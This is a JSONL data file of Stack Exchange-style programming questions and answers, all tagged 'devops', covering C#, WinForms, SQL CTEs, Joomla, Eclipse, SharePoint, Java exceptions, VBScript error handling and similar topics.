{"id": "hf_340b4dcba573", "question": "<p>Can standard pointers in .Net do this? Or does one need to resort to P/invoke?</p>\n\n<p>Note that I'm not talking about object references; I'm talking about actual C# pointers in unsafe code.</p>\n", "question_body": "", "answer": "C#, as a managed and protected run time engine, does not allow low level hardware access and the memory locations associated with actual hardware are not available.\nYou'll need to use a port driver or write your own in C++ or C with the proper Windows API to access the memory mapped I/O regions of interest.  This will run in a lower ring than the C# programs are capable of.\nThis is why you don't see drivers written in C#, although I understand many are writing access routines with C++, but the main driver logic in C#.  It's tricky, though, as crashes and restarting can become tricky, not to mention synchronization and timing issues (which are somewhat more concrete in C++ at a lower ring, even though windows is far from a real-time system).\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.453364"}
{"id": "hf_6648d74e897f", "question": "<p>I'm using the MonthCalendar control and want to programmatically select a date range. When I do so the control doesn't paint properly if <code>Application.EnableVisualStyles()</code> has been called. This is a known issue according to MSDN. </p>\n\n<blockquote>\n  <p>Using the MonthCalendar with visual\n  styles enabled will cause a selection\n  range for the MonthCalendar control to\n  not paint correctly\n  (from: <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.forms.monthcalendar.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/system.windows.forms.monthcalendar.aspx</a>)</p>\n</blockquote>\n\n<p>Is there really no fix for this other than not calling <code>EnableVisualStyles</code>? This seems to make that particular control entirely useless for a range of applications and a rather glaring oversight from my perspective.</p>\n", "question_body": "", "answer": "While looking for a solution to the same problem, I first encountered this question here, but later I discovered a blog entry by\nNicke Andersson\n. which I found very helpful.\nHere is what I made of Nicke's example:\n```\n```\npublic class MonthCalendarEx : System.Windows.Forms.MonthCalendar\n{\n    private int _offsetX;\n    private int _offsetY;\n    private int _dayBoxWidth;\n    private int _dayBoxHeight;\n\n    private bool _repaintSelectedDays = false;\n\n    public MonthCalendarEx() : base()\n    {\n        OnSizeChanged(null, null);\n        this.SizeChanged += OnSizeChanged;\n        this.DateChanged += OnSelectionChanged;\n        this.DateSelected += OnSelectionChanged;\n    }\n\n    protected static int WM_PAINT = 0x000F;\n\n    protected override void WndProc(ref System.Windows.Forms.Message m)\n    {\n        base.WndProc(ref m);\n        if (m.Msg == WM_PAINT)\n        {\n            Graphics graphics = Graphics.FromHwnd(this.Handle);\n            PaintEventArgs pe = new PaintEventArgs(\n                graphics, new Rectangle(0, 0, this.Width, this.Height));\n            OnPaint(pe);\n        }\n    }\n\n    private void OnSelectionChanged(object sender, EventArgs e)\n    {\n        _repaintSelectedDays = true;\n    }\n\n    private void OnSizeChanged(object sender, EventArgs e)\n    {                         \n        _offsetX = 0;\n        _offsetY = 0;\n\n        // determine Y offset of days area \n        while (\n            HitTest(Width / 2, _offsetY).HitArea != HitArea.PrevMonthDate &&\n            HitTest(Width / 2, _offsetY).HitArea != HitArea.Date)\n        {\n            _offsetY++;\n        }\n\n        // determine X offset of days area \n        while (HitTest(_offsetX, Height / 2).HitArea != HitArea.Date)\n        {\n            _offsetX++;\n        }\n\n        // determine width of a single day box\n        _dayBoxWidth = 0;\n        DateTime dt1 = HitTest(Width / 2, _offsetY).Time;\n\n        while (HitTest(Width / 2, _offsetY + _dayBoxHeight).Time == dt1)\n        {\n            _dayBoxHeight++;\n        }\n\n        // determine height of a single day box\n        _dayBoxWidth = 0;\n        DateTime dt2 = HitTest(_offsetX, Height / 2).Time;\n\n        while (HitTest(_offsetX + _dayBoxWidth, Height / 2).Time == dt2)\n        {\n            _dayBoxWidth++;\n        }\n    }\n\n    protected override void OnPaint(PaintEventArgs e)\n    { \n        base.OnPaint(e);\n\n        if (_repaintSelectedDays)\n        {\n            Graphics graphics = e.Graphics;\n            SelectionRange calendarRange = GetDisplayRange(false);\n            Rectangle currentDayFrame = new Rectangle(\n                -1, -1, _dayBoxWidth, _dayBoxHeight);\n\n            DateTime current = SelectionStart;\n            while (current <= SelectionEnd)                \n            {\n                Rectangle currentDayRectangle;\n\n                using (Brush selectionBrush = new SolidBrush(\n                    Color.FromArgb(\n                        255, System.Drawing.SystemColors.ActiveCaption))) \n                {                    \n                    TimeSpan span = current.Subtract(calendarRange.Start); \n                    int row = span.Days / 7; \n                    int col = span.Days % 7; \n\n                    currentDayRectangle = new Rectangle(\n                        _offsetX + (col + (ShowWeekNumbers ? 1 : 0)) * _dayBoxWidth, \n                        _offsetY + row * _dayBoxHeight, \n                        _dayBoxWidth, \n                        _dayBoxHeight);\n\n                    graphics.FillRectangle(selectionBrush, currentDayRectangle); \n                }\n\n                TextRenderer.DrawText(\n                    graphics, \n                    current.Day.ToString(), \n                    Font, \n                    currentDayRectangle, \n                    System.Drawing.SystemColors.ActiveCaptionText, \n                    TextFormatFlags.HorizontalCenter | TextFormatFlags.VerticalCenter);\n\n                if (current == this.TodayDate)\n                {\n                    currentDayFrame = currentDayRectangle;\n                }\n\n                current = current.AddDays(1);\n            }\n\n            if (currentDayFrame.X > 0)\n            {\n                graphics.DrawRectangle(new Pen(\n                    new SolidBrush(Color.Red)), currentDayFrame);\n            }\n\n            _repaintSelectedDays = false;\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.501388"}
{"id": "hf_49ee25e5887d", "question": "<p>I have db table with parent child relationship as:</p>\n\n<pre><code>NodeId    NodeName    ParentId\n------------------------------\n1         Node1       0\n2         Node2       0\n3         Node3       1\n4         Node4       1\n5         Node5       3\n6         Node6       5\n7         Node7       2\n</code></pre>\n\n<p>Here parentId = 0 means that it is a root level node. Now I want to write an SQL Query which will return child at all level of a parent category.</p>\n\n<p>e.g. for nodeId = 1, it should return 3, 4, 5, 6.</p>\n\n<p>I am using MS SQL Server 2005 </p>\n", "question_body": "", "answer": "```\n```\nwith [CTE] as (\n    select * from [TheTable] c where c.[ParentId] = 1\n    union all\n    select * from [CTE] p, [TheTable] c where c.[ParentId] = p.[NodeId]\n)\nselect * from [CTE]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.526934"}
{"id": "hf_3253626d6d12", "question": "<p>Title says most of it. </p>\n\n<p>I have inherited a Joomla site and the client wants part of the main template (a feature-type box) to be editable via the Joomla backend.</p>\n\n<p>I guess really it is a content item that never gets displayed as its own page, but as a part of all pages.</p>\n\n<p>Is that possible?</p>\n\n<p>Thanks.</p>\n\n<p>EDIT: By editable, I mean as a piece of content, not as editing the template HTML. I hardly expect non-tech users to get things right in a WYSIWYG text editor, much less change HTML code that could screw up the whole site.</p>\n", "question_body": "", "answer": "Joomla templates are always editable via the backend.  Just got to Extensions->Template Manager->Select the template you're using to edit it->and then up in the toolbar there will options for editing the html or the css as well as many design (look) options over on the right.  That is in Joomla 1.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.551521"}
{"id": "hf_acf89e209bfa", "question": "<p>I'm going to be distributing a plugin that will be routinely updated with features, bug fixes, and updates to downloadable corpuses.</p>\n\n<p>The usual update site mechanism can do the update ok - when the user asks it to.</p>\n\n<p>The problem is that (unlike MS Office), the automatic updater preference is off by default and I don't want to change that default for my users or count on them changing it. </p>\n\n<p>Can I write something that occasionally checks for updates? Or prompt the user regularly? What's bad form and what's acceptable ?</p>\n", "question_body": "", "answer": "Eclipse 3.4 check automatically for plugin updates by default.\nYou will see a popup window in the bottom right when an update is available.\nTo configure automatic updates, go to Window > Preferences > Install Updates > Automatic Updates", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.648017"}
{"id": "hf_aa71d7edac89", "question": "<p>Is it possible to access the crash log over the application? The last.fm client showed me today a \"we found a crash log\" altert with the option to send it, so I think it must be possible.</p>\n", "question_body": "", "answer": "Yes, although you probably won't get much out of them if you don't have the dSYM file and source code:\nAfter you've synced with iTunes the\n  crash logs should be in one of the\n  following folders:\nOn Mac OS X they are located in\n  ~/Library/Logs/CrashReporter/MobileDevice.\nWindows XP: C:\\Documents and\n  Settings\\Application Data\\Apple\n  computer\\Logs\\CrashReporter/\nWindows Vista:\n  C:\\Users\\AppData\\Roaming\\Apple\n  computer\\Logs\\CrashReporter/MobileDevice/\n(This from the\nhelp page\nfor my application.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.671590"}
{"id": "hf_3e59592ebf81", "question": "<p>I've been trying to programatically feed the paper on a pos printer (Epson TM-U220D). The problem I have is that the last line of the document don't get printed, instead, it is printed as the first line of the next document printed. I tried POS for .NET sending the \"ESC|flF\" command, also tried to send the raw esc/pos command using the serial port, but it doesn't work. Any ideas?</p>\n", "question_body": "", "answer": "If the printer is on LPT1, shell out to DOS and give to CMD.EXE or COMMAND.COM whatever the C# equivalent is of this BASIC expression:\n```\n```\n\"ECHO \" & Chr(12) & \">LPT1\"\n```\n```\nEither that or append a Chr(12) to the output text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.695106"}
{"id": "hf_4a6d3a072b5e", "question": "<p>When you plot things in Matlab, the most recently plotted data series is placed on top of whatever's already there. For example:</p>\n\n<pre><code>figure; hold on\nplot(sin(linspace(0,pi)),'linewidth',4,'color',[0 0 1])\nplot(cos(linspace(0,pi)),'linewidth',4,'color',[1 0 0])\n</code></pre>\n\n<p>Here, the red line is shown on top of the blue line (where they intersect). Is there any way to set \"how deep\" a line is drawn, so that you can plot things <em>beneath</em> what's already there?</p>\n", "question_body": "", "answer": "Use the\nuistack\ncommand.  For example:\n```\n```\nh1 = plot(1:10, 'b');\nhold on;\nh2 = plot(1:10, 'r');\n```\n```\nwill plot two lines with the red line plotted on top of the blue line.  If you then do:\n```\n```\nuistack(h1);\n```\n```\nthe blue line will be brought to the front.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.742895"}
{"id": "hf_b129d6d72f27", "question": "<p>Its a little tricky to search for 'var:*' because most search engines wont find it.</p>\n\n<p>I'm not clear exactly what var:* means, compared to say var:Object</p>\n\n<p>I thought it would let me set arbitrary properties on an object like :</p>\n\n<pre><code>var x:*  = myObject;\nx.nonExistantProperty = \"123\";\n</code></pre>\n\n<p>but this gives me an error :</p>\n\n<pre><code>Property nonExistantProperty not found on x\n</code></pre>\n\n<p>What does * mean exactly?</p>\n\n<p><strong>Edit:</strong> I fixed the original var:* to the correct var x:*. Lost my internet connection</p>\n", "question_body": "", "answer": "It's the \"untyped\" type. It just means that the variable can be of any type. Basically the same effect as using this:\n```\n```\nvar x = myObject;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.779580"}
{"id": "hf_87a12e8b10f7", "question": "<p>I am looking to set full trust for a single web part, is this possible?  manifest.xml maybe?</p>\n", "question_body": "", "answer": "Have you tried registering the assembly in the GAC? This is the preferred approach to giving any assembly full trust on your machine:\n```\n```\ngacutil.exe \\i C:\\Path\\To\\Dll.dll\n```\n```\nHope that helps. Let me know if I misunderstood your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.816851"}
{"id": "hf_53b15eb9b557", "question": "<p>I have a UserControl with some predefined controls (groupbox,button,datagridview) on it, these controls are marked as protected and the components variable is also marked as protected.</p>\n\n<p>I then want to inherit from this base UserControl to another UserControl, however the DataGridView is always locked in the designer.</p>\n\n<p>I suspect it may have something to do with the DataGridView implementing ISupportInitilize.</p>\n\n<pre><code>public class BaseGridDetail : UserControl\n</code></pre>\n\n<p>Has a DataGridView control (et al) defined.</p>\n\n<p><br></p>\n\n<pre><code>public class InheritedDetail : BaseGridDetail\n</code></pre>\n\n<p>The DataGridView control is locked</p>\n\n<p><br>Does anyone have any ideas how to make this control available in the designer after inheritenace?</p>\n", "question_body": "", "answer": "I left an answer but re-read your question and decided to delete it.\nWhat is it about the DataGridView that you're trying to modify in the inherited control? It's columns? I've been able to do this by setting up a protected method in my base UserControl and passing the grid's column collection into it, like this:\n```\n```\n// in base UserControl\npublic BaseGridDetail()\n{\n    InitializeComponent();\n\n    InitGridColumns(dataGridView1.Columns);\n}\n\nprotected virtual void InitGridColumns(DataGridViewColumnCollection columns)\n{\n    columns.Clear();\n}\n```\n```\nNow your derived control can simply override that method, like so:\n```\n```\n// in InheritedDetail\nprotected override void InitGridColumns(DataGridViewColumnCollection columns)\n{\n    base.InitGridColumns(columns);\n    // add my own custom columns\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.853962"}
{"id": "hf_6f90534fc2ca", "question": "<p>If I click on File -> Close, it closes the buffer like I want, but doesn't list a key mapping. What is the key mapping?</p>\n", "question_body": "", "answer": "BKB has already given correct answer. Just wanted to add that\n```\nC-h b\n```\nlists the key bindings applicable in current buffer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.878983"}
{"id": "hf_73e768718d4b", "question": "<p>What are the downsides to using static methods in a web site business layer versus instantiating a class and then calling a method on the class?  What are the performance hits either way?</p>\n", "question_body": "", "answer": "The performance differences will be negligible.\nThe downside of using a static method is that it becomes less testable. When dependencies are expressed in static method calls, you can't replace those dependencies with mocks/stubs. If all dependencies are expressed as interfaces, where the implementation is passed into the component, then you can use a mock/stub version of the component for unit tests, and then the real implementation (possibly hooked up with an IoC container) for the real deployment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.929087"}
{"id": "hf_2d7cf4ba8439", "question": "<p>I am setting up my Java EE version of Eclipse to compile Servlets. I have the problem where Eclipse says \"HttpServlet\" cannot be resolved because it can't find the Java EE jar files.</p>\n\n<p>I am using Windows XP. I already have Tomcat 6.0 up and running. I think the easiest solution would be to link to the servlet-api.jar file in the Tomcat installation.</p>\n\n<p>I added it to the Windows CLASSPATH environment variable. Now it looks like this:\n.;C:\\Program Files\\Java\\jre1.6.0_04\\lib\\ext\\QTJava.zip;C:\\Program Files\\Apache Software Foundation\\Tomcat 6.0\\lib\\servlet-api.jar</p>\n\n<p>That didn't work. Am I doing something wrong?</p>\n\n<p>What is the best solution?</p>\n", "question_body": "", "answer": "a few thing to check:\nDid you create your project as a \"Dynamic Web Project\" (via New->Project...->Web->Dynamic Web Project) ?\nyou should have a Web App Librairies directory which does contains:\nWeb App Librairies\nJRE System Library\nApache Tomcat vx.y\nDid you select a server in \"Window -> Preferences... -> Server -> Installed Runtimes\" ?\nDo you have a TOMCAT_HOME in Prefereces -> Java -> Build Path -> Classpath variable referring to the home directory of your tomcat installation ? Try to add it to your project classpath.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:01.953930"}
{"id": "hf_06ba08578e10", "question": "<p>How do I prevent Visual Studio 2008 from automatically creating the \"Mixed Platforms\" and \"Any CPU\" solution configurations? We have \"Win32\" and \"x64\" configurations and a developer needs to choose between them. However, as soon as anyone makes any changes to the solution VS automatically creates \"Mixed Platforms\" and it seems to be the default configuration. This causes a lot of issues, because it turns out some new projects are not selected in this configuration or the wrong project configuration is selected, etc. I just want to stop it doing that and manage the solution configurations myself.</p>\n", "question_body": "", "answer": "We see a similar issue with Visual Studio 2005 projects that we want to build both for a Win32 configuration and for a number of distinct smart device platform/configuration combinations.\nAt arbitrary times, every configuration gets auto-generated for every platform, whether it's valid or not, exploding the size of each of our ~50 project files and causing a lot of work to fix the issue.\nIt consistently happens when we open the Configuration Manager dialog, and it sometimes (but not always) happens when changing a project setting for a configuration.  In the latter case, it seems to be related to manipulating the platform and configuration drop-downs on the project setting dialog.\nWe filed it as a Visual Studio issue; MSFT closed it as \"won't fix\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.027464"}
{"id": "hf_f1b515461de9", "question": "<p>I just wrote a new web part and now I am getting this error when I try to deploy them on my non-dev servers:</p>\n\n<blockquote>\n  <p>the default namespace\n  '<a href=\"http://schemas.microsoft.com/WebPart/v2\" rel=\"nofollow noreferrer\">http://schemas.microsoft.com/WebPart/v2</a>'\n  is a reserved namespace for base Web\n  Part propertiees. Custom Web Part\n  properties require a unique namespace\n  (specified through an\n  XmlElementAttribute on the property ,\n  or an XmlRootAttribute on the class).</p>\n</blockquote>\n\n<p>I am writing the web parts into CAB files and deploying them with this:</p>\n\n<pre><code>stsadm -o addwppack -filename web_part_name.CAB -url http://your_url_here -globalinstall -force \n</code></pre>\n\n<p>Everything works fine until I try to add the web part, then I get this error in a popup.  It works just fine on my dev VM...?</p>\n\n<p>Any ideas would be appreciate, thank you.</p>\n", "question_body": "", "answer": "A bit of a educated guess here but anyway :-\nFirst check that you have XmlRoot attribute like this in your web part\n```\n```\n[XmlRoot(Namespace = \"Your.Namespace\")]\npublic class YourWebPart: WebPart\n{\n...\n```\n```\nand XmlElement attribute on your custom properties\n```\n```\n[DefaultValue(0)]\n    [WebPartStorage(Storage.Shared)]\n    [Browsable(false)]\n    [XmlElement(ElementName = \"YourProperty\")]\n    public Int64 YourProperty\n    {         \n       ...\n    }\n```\n```\nThis error is happening when .NET is attempting to desterilize the data from the .DWP file and set the custom properties in your web part.\nI suspect that the error may have nothing to do with namespace conflicts as SharePoint sometimes tends to fall back to an error messages that can be a red herring.\nI would firstly examine your .dwp file. Do you have any custom properties set there, if so remove them and retest.\nComment out the custom properties in your web part code one by one and retest at each step.\nI think you will find one of these is causing the problem - exactly why is the next question!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.076362"}
{"id": "hf_4423b5e1dd02", "question": "<p>There is this style of exception system where a component throws component-specific exception. For example, all data access classes throw <code>DataAccessException</code>.</p>\n\n<p>In this style, I often find myself having to catch and rethrow the component specific exception, because called methods are delcared as <code>throws Exception</code>:</p>\n\n<pre><code>try {\n    int foo = foo();\n    if (foo != expectedValue) {\n        throw new ComponentException(\"bad result from foo(): \" + foo);\n    }\n    bar();\n}\ncatch (ComponentException e) { \n    throw e; \n}\ncatch (Exception e) { \n    throw new ComponentException(e); \n}\n</code></pre>\n\n<p>Do you find yourself doing the same? Do you find it ugly?</p>\n\n<p>This question is not about validity of this style, but something within the constraints of this style.</p>\n", "question_body": "", "answer": "That is ugly as hell. There isn't much more to comment on that ugly style, I think. If you already have all the code to handle different issues using the cause, that'd work. It's just that using\n```\n```\ntry {\n  componentCall();\n} catch (ComponentException e) {\n  Throwable t = e.getCause();\n  //Handle each possible cause\n}\n```\n```\nis less maintainable and more confusing than the other way, and the main point is that I see no advantage to using it.\nGiven that you are restricted to using it, I'd at least try to avoid throwing the ComponentException both with and without a cause, that makes it more confusing than it needs to be, in your example I'd add a InvalidFooException and add it as a cause for the generic ComponentException.\n```\n```\ntry {\n    int foo = foo();\n    if (foo != expectedValue) {\n        throw new InvalidFooException(\"bad result from foo(): \" + foo);\n    }\n    bar();\n}\ncatch (Exception e) { \n    throw new ComponentException(e); \n}\n```\n```\ngetCause()\nis intended for\nchains of exceptions\nthat are only causally instead of semantically related.\nIf you need them to differentiate between different exceptions (for instance, a SQLExecutionException should be corrected by a different action than an AccessDeniedException) then your method is not applicable (because forcing the use of getCause() in each catch to see what needs to be done is awful and offers no benefit than just catching the right exception out front).\nIf all the calling classes have to do is report an error and cancel, then the wrapping might be okay, but I wouldn't do it, as it adds little benefit and if you later need to differentiate will make you rewrite lots of stuff.\nWhat is useful is to create a\nhierarchy of exceptions\nfor exception of the same type, in the lines of:\nIf DataAccessException would be the root, then you could for example have DataSourceUnavailableException, InvalidDataSourceException, InvalidDataException and then you can decide to catch either parent only (if the action is the same) or to catch each exception separately.\nWhy do you need this to behave this way, by the way?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.101273"}
{"id": "hf_6c64382e22ad", "question": "<p>I am having an VB Script. I need to log the error information in a file. I need to log every information like error number error description and in which sub routine does the error occured.</p>\n\n<p>Please provide some code</p>\n", "question_body": "", "answer": "For error handling in VBScript is used \"On Error\" clausule.\nThere are 3 ways, how to handle errors:\nOn Error Resume Next '' ignore errors\nOn Error GoTo 0 '' removes error handlning\nOn Error GoTo HandleError '' on error will code jump to specified signal\nSamples:\n```\n```\nOn Error Resume Next '' ignore errors\nSomeIgnorableFunction()\n\nOn Error GoTo 0 '' removes error ignoring\nSomeImportantFunction()\n\nOn Error GoTo HandleError '' on error will code jump to specified signal\nDim a\na = 15 / 0\n\nGoTo Finish '' skips error handling\n\nHandleError:\nDim msg\nSet msg = Err.Description & vbCrLf & Err.Number\nMsgBox msg\n\nFinish:\n'' there is end of sciprt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.203197"}
{"id": "hf_244be1a1d36c", "question": "<p>Any good logging libraries that support .NET compact framework?</p>\n", "question_body": "", "answer": "log4net actually supports compact framework 1.0, will try it out!\nRead more\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.227454"}
{"id": "hf_ab8e0421cfd6", "question": "<p>I'm familiar with a handful of the free static analysis tools available for Java, such as FindBugs and PMD.  What I'd like to know is how the commercial products such as Klocwork and Coverity stack up against these.  What are their strengths and weaknesses?</p>\n", "question_body": "", "answer": "here's a list of commercial analysis tools :\nhttp://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis#Java_2\ncoverity has several tools :\nhttp://www.coverity.com/html/coverity-readiness-manager-java.html\n: this should be on par with findbugs and PMD but with better presentation\nprevent :\nhttp://www.coverity.com/html/prevent-for-java.html\n: low FALSE POSITIVES.\nthread analyzer :\nhttp://www.coverity.com/html/coverity-thread-analyzer-java.html\n: this is what is absent in most open source tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.251943"}
{"id": "hf_f1fa372d74be", "question": "<p>I'm trying to write a wstring to file with ofstream in binary mode, but I think I'm doing something wrong. This is what I've tried:</p>\n\n<pre><code>ofstream outFile(\"test.txt\", std::ios::out | std::ios::binary);\nwstring hello = L\"hello\";\noutFile.write((char *) hello.c_str(), hello.length() * sizeof(wchar_t));\noutFile.close();\n</code></pre>\n\n<p>Opening test.txt in for example Firefox with encoding set to UTF16 it will show as:</p>\n\n<p>h�e�l�l�o�</p>\n\n<p>Could anyone tell me why this happens?  </p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>Opening the file in a hex editor I get:</p>\n\n<pre><code>FF FE 68 00 00 00 65 00 00 00 6C 00 00 00 6C 00 00 00 6F 00 00 00 \n</code></pre>\n\n<p>Looks like I get two extra bytes in between every character for some reason?</p>\n", "question_body": "", "answer": "You should look at the output file in a hex editor such as\nWinHex\nso you can see the actual bits and bytes, to verify that the output is actually UTF-16.  Post it here and let us know the result.  That will tell us whether to blame Firefox or your C++ program.\nBut it looks to me like your C++ program works and Firefox is not interpreting your UTF-16 correctly.  UTF-16 calls for two bytes for every character.  But Firefox is printing twice as many characters as it should, so it is probably trying to interpret your string as UTF-8 or ASCII, which generally just have 1 byte per character.\nWhen you say \"Firefox with encoding set to UTF16\" what do you mean?  I'm skeptical that that work work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.276524"}
{"id": "hf_8f2c07ad9e10", "question": "<p>I would like to develop a mobile application that is able to access all the features of the mobile device it runs on (camera, files, phone and network connectivity). I intend to build a series of applications that each have a specific function to perform, rather than a single application with a large feature set. My programming background is C, C# and web applications.</p>\n\n<p>What would be the best tool set to use to do this? I have looked at using the NetBeansIDE to create a Java ME applications using LWUIT - this looks promising, but what are the caveat's?</p>\n\n<p>I want to target the largest universe of mobile devices possible.</p>\n", "question_body": "", "answer": "If your primary goal is to reach the\nconsumer market\n, Java 2 Micro Edition (J2ME) is probably your best bet. All popular mobile phones (from Nokia, Sony Ericsson, Samsung) come with a Java Virtual Machine installed. If you look at Google, for example, they are developing all of their mobile applications (like Gmail and Google Maps) in Java.\nIf you instead are targeting\nbusiness customers\n, the Microsoft .NET Compact Framework is the way to go in my opinion. The Windows Mobile operating system holds a strong position in the business market, mainly because of Outlook Mobile and its integration with Exchange.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.300911"}
{"id": "hf_0049349e5e7a", "question": "<p>I have a touch screen kiosk that displays a webpage and a pdf document. Can I remove the menu bar? Users must not have \"save\", \"print\" and other such features.</p>\n\n<p>Update</p>\n\n<p><a href=\"http://flickr.com/photos/23021917@N05/2209106577/\" rel=\"nofollow noreferrer\">random screenshot on flickr</a> - I am refering to the print, back/forward, zoom bar that controls the PDF -- not the browser menu. Sorry for not beeing specific.</p>\n", "question_body": "", "answer": "Good discussion on using IE7 in Kiosk mode:\nhttp://samanathon.com/internet-explorer-7s-kiosk-mode/\nIf Firefox is on option for you, see this plugin:\nR-kiosk\nReal Kiosk is a Firefox 2.0 - 3.0 extension that defaults to full screen, disables all menus, toolbars, key commands and right button menus. Alt+Home still takes you home", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.336754"}
{"id": "hf_fc05a19aa545", "question": "<p>we can use <code>time</code> in a unix environment to see how long something took...</p>\n\n<pre><code>shell&gt; time some_random_command\nreal    0m0.709s\nuser    0m0.008s\nsys     0m0.012s\n</code></pre>\n\n<p>is there an equivalent for recording memory usage of the process(es)?</p>\n\n<p>in particular i'm interested in peak allocation.</p>\n", "question_body": "", "answer": "Can you not use ps? e.g.\n```\nps v <pid>\n```\nwill return memory information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.397550"}
